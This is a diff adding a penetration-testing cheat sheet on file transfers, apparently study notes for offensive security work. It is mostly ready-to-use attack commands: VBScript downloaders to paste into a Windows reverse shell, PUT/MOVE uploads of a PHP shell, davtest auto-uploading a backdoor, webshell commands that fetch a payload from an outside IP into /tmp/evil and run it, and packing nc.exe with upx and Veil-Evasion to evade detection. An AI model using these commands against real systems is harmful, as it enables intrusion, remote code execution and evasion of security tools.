|
| 1 | +# File Transfers |
| 2 | + |
| 3 | +## Simple Local Web Servers |
| 4 | + |
| 5 | +- Run a basic http server, great for serving up shells etc |
| 6 | + |
| 7 | +```ShellSession |
| 8 | +python -m SimpleHTTPServer 80 |
| 9 | +``` |
| 10 | + |
| 11 | +- Run a basic Python3 http server, great for serving up shells etc |
| 12 | + |
| 13 | +```ShellSession |
| 14 | +python3 -m http.server |
| 15 | +``` |
| 16 | + |
| 17 | +- Run a ruby webrick basic http server |
| 18 | + |
| 19 | +```ShellSession |
| 20 | +ruby -r webrick -e "s = WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd); trap('INT') { s.shutdown }; s.start" |
| 21 | +``` |
| 22 | + |
| 23 | +- Run a basic PHP http server |
| 24 | + |
| 25 | +```ShellSession |
| 26 | +php -S $ip:80 |
| 27 | +``` |
| 28 | + |
| 29 | +- Creating a wget VB Script on Windows: |
| 30 | + |
| 31 | +copy this script on a windows computer to install wget in visualbasic scripting language |
| 32 | + |
| 33 | +dont forget to start the apache2 server attack |
| 34 | + |
| 35 | +```ShellSession |
| 36 | +service apache2 start |
| 37 | +``` |
| 38 | + |
| 39 | +```ShellSession |
| 40 | +echo strUrl = WScript.Arguments.Item(0) > wget.vbs |
| 41 | +echo StrFile = WScript.Arguments.Item(1) >> wget.vbs |
| 42 | +echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs |
| 43 | +echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs |
| 44 | +echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs |
| 45 | +echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs |
| 46 | +echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs |
| 47 | +echo Err.Clear >> wget.vbs |
| 48 | +echo Set http = Nothing >> wget.vbs |
| 49 | +echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs |
| 50 | +echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs |
| 51 | +echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs |
| 52 | +echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs |
| 53 | +echo http.Open "GET", strURL, False >> wget.vbs |
| 54 | +echo http.Send >> wget.vbs |
| 55 | +echo varByteArray = http.ResponseBody >> wget.vbs |
| 56 | +echo Set http = Nothing >> wget.vbs |
| 57 | +echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs |
| 58 | +echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs |
| 59 | +echo strData = "" >> wget.vbs |
| 60 | +echo strBuffer = "" >> wget.vbs |
| 61 | +echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs |
| 62 | +echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs |
| 63 | +echo Next >> wget.vbs |
| 64 | +echo ts.Close >> wget.vbs |
| 65 | +``` |
| 66 | + |
| 67 | +to use simply type |
| 68 | + |
| 69 | +```ShellSession |
| 70 | +cscript wget.vbs http://192.168.14.220/evidence.txt evidence.txt |
| 71 | +``` |
| 72 | + |
| 73 | +- Windows file transfer script that can be pasted to the command line. |
| 74 | + |
| 75 | +File transfers to a Windows machine can be tricky without a Meterpreter shell. |
| 76 | + |
| 77 | +The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line): |
| 78 | + |
| 79 | +```ShellSession |
| 80 | + echo Set args = Wscript.Arguments >> webdl.vbs |
| 81 | + timeout 1 |
| 82 | + echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs |
| 83 | + timeout 1 |
| 84 | + echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbs |
| 85 | + timeout 1 |
| 86 | + echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbs |
| 87 | + timeout 1 |
| 88 | + echo xHttp.Open "GET", Url, False >> webdl.vbs |
| 89 | + timeout 1 |
| 90 | + echo xHttp.Send >> webdl.vbs |
| 91 | + timeout 1 |
| 92 | + echo with bStrm >> webdl.vbs |
| 93 | + timeout 1 |
| 94 | + echo .type = 1 ' >> webdl.vbs |
| 95 | + timeout 1 |
| 96 | + echo .open >> webdl.vbs |
| 97 | + timeout 1 |
| 98 | + echo .write xHttp.responseBody >> webdl.vbs |
| 99 | + timeout 1 |
| 100 | + echo .savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbs |
| 101 | + timeout 1 |
| 102 | + echo end with >> webdl.vbs |
| 103 | + timeout 1 |
| 104 | + echo |
| 105 | +``` |
| 106 | + |
| 107 | +The file can be run using the following syntax: |
| 108 | + |
| 109 | +```ShellSession |
| 110 | +C:\temp\cscript.exe webdl.vbs |
| 111 | +``` |
| 112 | + |
| 113 | +Mounting File Shares |
| 114 | + |
| 115 | +- Mount NFS share to /mnt/nfs |
| 116 | + |
| 117 | +```ShellSession |
| 118 | +mount $ip:/vol/share /mnt/nfs |
| 119 | +``` |
| 120 | + |
| 121 | +- HTTP Put |
| 122 | + |
| 123 | +```ShellSession |
| 124 | +nmap -p80 $ip --script http-put --script-args |
| 125 | +http-put.url='/test/sicpwn.php',http-put.file='/var/[www/html/sicpwn.php](http://www/html/sicpwn.php) |
| 126 | +``` |
| 127 | + |
| 128 | +## Uploading Files |
| 129 | + |
| 130 | +- SCP |
| 131 | + |
| 132 | +```ShellSession |
| 133 | +scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2 |
| 134 | +scp localfile username@$ip:~/Folder/ |
| 135 | +scp Linux_Exploit_Suggester.pl [email protected]:~ |
| 136 | +``` |
| 137 | + |
| 138 | +## Webdav with Davtest |
| 139 | + |
| 140 | +Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor |
| 141 | + |
| 142 | +```ShellSession |
| 143 | +davtest -move -sendbd auto -url http://$ip |
| 144 | + |
| 145 | +<https://github.com/cldrn/davtest> |
| 146 | +``` |
| 147 | + |
| 148 | +- You can also upload a file using the PUT method with the curl command: |
| 149 | + |
| 150 | +```ShellSession |
| 151 | +curl -T 'leetshellz.txt' 'http://$ip' |
| 152 | +``` |
| 153 | + |
| 154 | +And rename it to an executable file using the MOVE method with the curl command: |
| 155 | + |
| 156 | +```ShellSession |
| 157 | +curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt' |
| 158 | +``` |
| 159 | + |
| 160 | +- Upload shell using limited php shell cmd. |
| 161 | + |
| 162 | +Use the webshell to download and execute the meterpreter |
| 163 | + |
| 164 | +```ShellSession |
| 165 | +[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php |
| 166 | +[curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php |
| 167 | +curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php |
| 168 | +``` |
| 169 | + |
| 170 | +- TFTP |
| 171 | + |
| 172 | +```ShellSession |
| 173 | +mkdir /tftp |
| 174 | +atftpd --daemon --port 69 /tftp |
| 175 | +cp /usr/share/windows-binaries/nc.exe /tftp/ |
| 176 | +EX. FROM WINDOWS HOST: |
| 177 | +C:\Users\Offsec>tftp -i $ip get nc.exe |
| 178 | +``` |
| 179 | + |
| 180 | +- FTP |
| 181 | + |
| 182 | +```ShellSession |
| 183 | +apt-get update && apt-get install pure-ftpd |
| 184 | + |
| 185 | +#!/bin/bash |
| 186 | +groupadd ftpgroup |
| 187 | +useradd -g ftpgroup -d /dev/null -s /etc ftpuser |
| 188 | +pure-pw useradd offsec -u ftpuser -d /ftphome |
| 189 | +pure-pw mkdb |
| 190 | +cd /etc/pure-ftpd/auth/ |
| 191 | +ln -s ../conf/PureDB 60pdb |
| 192 | +mkdir -p /ftphome |
| 193 | +chown -R ftpuser:ftpgroup /ftphome/ |
| 194 | + |
| 195 | +/etc/init.d/pure-ftpd restart |
| 196 | +``` |
| 197 | + |
| 198 | +## Packing Files |
| 199 | + |
| 200 | +- Ultimate Packer for eXecutables |
| 201 | + |
| 202 | +```ShellSession |
| 203 | +upx -9 nc.exe |
| 204 | +``` |
| 205 | + |
| 206 | +- exe2bat - Converts EXE to a text file that can be copied and pasted |
| 207 | + |
| 208 | +```ShellSession |
| 209 | +locate exe2bat |
| 210 | +wine exe2bat.exe nc.exe nc.txt |
| 211 | +``` |
| 212 | + |
| 213 | +- Veil - Evasion Framework https://github.com/Veil-Framework/Veil-Evasion |
| 214 | + |
| 215 | +```ShellSession |
| 216 | +apt-get -y install git |
| 217 | +git clone https://github.com/Veil-Framework/Veil-Evasion.git |
| 218 | +cd Veil-Evasion/ |
| 219 | +cd setup |
| 220 | +setup.sh -c |
| 221 | +``` |
0 commit comments